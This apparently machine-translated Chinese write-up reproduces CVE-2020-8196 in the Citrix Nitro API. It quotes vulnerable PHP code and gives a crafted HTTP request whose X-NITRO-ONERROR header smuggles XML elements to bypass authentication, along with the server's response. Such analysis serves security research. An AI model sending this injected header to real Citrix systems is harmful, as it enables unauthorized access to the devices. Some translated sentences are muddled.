(CVE-2020-8196)Citrix Nitro API 未授权访问漏洞

一、漏洞简介

Citrix ADC和Citrix NetScaler Gateway存在一个信息泄露漏洞,该漏洞允许经过身份验证的远程恶意用户获取主机上的敏感信息。通过发送特制请求,攻击者可以利用此漏洞获取敏感信息,然后使用此信息对受影响的系统发起进一步的攻击。

二、漏洞影响

Citrix ADC and Citrix Gateway: \< 13.0-58.30

Citrix ADC and NetScaler Gateway: \< 12.1-57.18

Citrix ADC and NetScaler Gateway: \< 12.0-63.21

Citrix ADC and NetScaler Gateway: \< 11.1-64.14 

NetScaler ADC and NetScaler Gateway: \< 10.5-70.18

Citrix SD-WAN WANOP: \< 11.1.1a

Citrix SD-WAN WANOP: \< 11.0.3d

Citrix SD-WAN WANOP: \< 10.2.7

Citrix Gateway Plug-in for Linux: \<  1.0.0.137

三、复现过程

Nitro API 可以给用户使用,还可以给其他Citrix组件使用

举例,当我们发送

<?xml version="1.0"?>
<server></server>

则会返回

<?xml version="1.0"?>
<nitroResponse><errorcode>0</errorcode><message>Done</message><severity>NONE</severity></nitroResponse>

并且可以在未登陆的使情况进行命令请求

<?xml version="1.0"?>
<nitroResponse><errorcode>354</errorcode><message>Invalid username or password</message><severity>ERROR</severity></nitroResponse>

在这里会返回一个错误代码,该代码0表示一切正常,>0表示失败。API会检查几个HTTP标头,并将它们的值用于事物。其中之一是X-NITRO-ONERROR函数中的标头get_params()

// Setting the header X-NITRO-ONERROR for bulk request
$nitro_error = $this->get_headervalue($headers, "X-NITRO-ONERROR");
if (isset($nitro_error))
    $onerror = $this->get_headervalue($headers, "X-NITRO-ONERROR");

$saveconfig = $this->get_headervalue($headers, "X-NITRO-SAVECONFIG");
$enablefeature = $this->get_headervalue($headers, "X-NITRO-ENABLEFEATURE");

// Constructing the params.
$params = $this->validate_and_post_json_request_params($action, $format, $onerror, $override, $warning, $idempotent, $saveconfig, $enablefeature);
return $params;

validate_and_post_json_request_params()函数中,我们的控制值into $onerror被添加$json_request_params并返回为$params

// Validating and constructing params in nitro payload.
private function validate_and_post_json_request_params($action, $format, $onerror, $override, $warning, $idempotent, $saveconfig, $enablefeature)
{
    [..]

    if(isset($onerror))
        $json_request_params["onerror"] = $onerror;

    $json_request_params["httpheaders"] = "yes";

    return $json_request_params;
}

$params然后将变量传递给get_payload()函数:

if (($post_body = $this->get_payload($content, $entity_type, $params, null)) === false)
    return $post_body;

此函数创建"Nitro有效载荷"并返回它,以便可以在内部API调用中使用。该函数X-NITRO-ONERROR在返回之前直接将几个参数的值(包括标头)直接粘贴到XML有效负载中:

 // Constructing the nitro payload.
private function get_payload($content, $entity_type, $params, $objectname) {

    $error = false;
    $request = array();
    $entity_list = $entity_type . "_list";
    if (preg_match("/^</", $content)) {
    libxml_disable_entity_loader(true);
        $req = simplexml_load_string($content);
    libxml_disable_entity_loader(false);
        if ($req == null) {
            header("HTTP/1.1 400 Bad Request");
            $this->print_error_message("Invalid Xml Input");
            return false;
        }

        if (isset($objectname)) {
            if (strcmp($req->getName(), $objectname) != 0) {
                header("HTTP/1.1 400 Bad Request");
                $this->print_error_message("Invalid Xml Payload. Mismatch between content-type and payload");
                return false;
            }
        }

    $xml = "<nitroRequest>\n" . "" . $content . "" .  $this->arrayToXMLString($params,"params") . "</nitroRequest>";
    return $xml;
}

这意味着我们可以控制此XML文档中放置的元素。这个XML是通过几个函数返回的,最终以一个称为的变量结束,该变量$post_body作为该函数的参数给出nsrest_exec()。该函数调用的输出发送到该send_reponse()函数:

$response = nsrest_exec($is_gui, $this->request_method, $post_body, $this->username, $this->password, $this->get_client_ip(), $_SERVER["SERVER_ADDR"], $partid);
    if($this->is_direct_invocation)
        return $response["response"];
    $this->send_response($response, $this->request_method, $this->validate_and_get_entity_type($arg_list), $is_gui);

nsrest_exec()函数是Citrix随附的自定义PHP函数,位于一个名为的库文件中libphp7.so。该函数或者在成功执行时返回XML对象,或者在执行FALSE失败时返回XML对象。沿线的某个地方FALSE变成,NULL然后NULL变成0。我不知道确切的内部工作原理,nsrest_exec但总而言之:无效的XML X-NITRO-ONERROR表示一切正常的响应。

例如,此请求包含无效的XML:

POST /nitro/v1/config/server HTTP/1.1
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://citrix.local/menu/neo
Content-Type: application/xml
If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT
DNT: 1
Connection: close
Content-Length: 17
X-NITRO-ONERROR: exit</onerror><idempotent>yes</idempotent><format>xml</format><rawdata>yes</rawdata></params><server></server><params><onerror

<server></server>

返回值

HTTP/1.1 201 Created
Date: Tue, 28 Jan 2020 10:52:07 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Set-Cookie: SESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-XSS-Protection: 1; mode=block
Content-Length: 126
Connection: close
Content-Type: application/xml; charset=utf-8

<?xml version="1.0"?>
<nitroResponse><errorcode>0</errorcode><message>Done</message><severity>NONE</severity></nitroResponse>**

如上所示一切正常,并且身份验证已通过。实际上什么也没有发生,但是使用错误代码就可以来验证API调用是否成功